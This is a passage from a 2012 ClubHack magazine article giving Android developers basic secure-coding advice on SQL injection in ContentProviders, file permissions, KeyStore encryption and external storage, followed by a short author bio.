ContentProvider, use parameterized querymethods such as query(), update(), anddelete() to avoid potential SQL Injectionfrom untrusted data. Note that usingparameterized methods is not sufficient ifthe selection is built by concatenating userdata prior to submitting it to the method.

Files

Each application has its own area on the filesystem which it owns, almost like programshave a home directory to go along with theiruser ids. The mode parameter is used tocreate a file with a given set of filepermissions. Avoid usingMODE_WORLD_WRITABLE|MODE_WORLD_READABLE whichmakes a file world-readable and writable.

You can also encrypt files using a key(stored in KeyStore) that is not accessible toapplication.

Files created on external storage, such as SDCards, are globally readable and writable.Since external storage can be removed bythe user and also modified by any

application, applications should not storesensitive information using external storage.

These were some of the very basic points which android application developers

should take care while coding theapplications. The points were too androidspecific, but developers should not forgetthe secure coding practices normallyfollowed in the Web applicationdevelopment. Most of those will offcourse

be used here too.

Ankur [email protected]

Ankur is working as a Security Analystin IBM ISL. Ankur's area of interest are

Web and Mobile Security. He haspresented in many of the securityconferences and workshops likeC0c0n(2010,2011), Nullcon 2012 ontopics like PDF Exploits and AndroidSecurity.

Page 29: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 29/29

Issue 30 – Jul 2012 | Page -29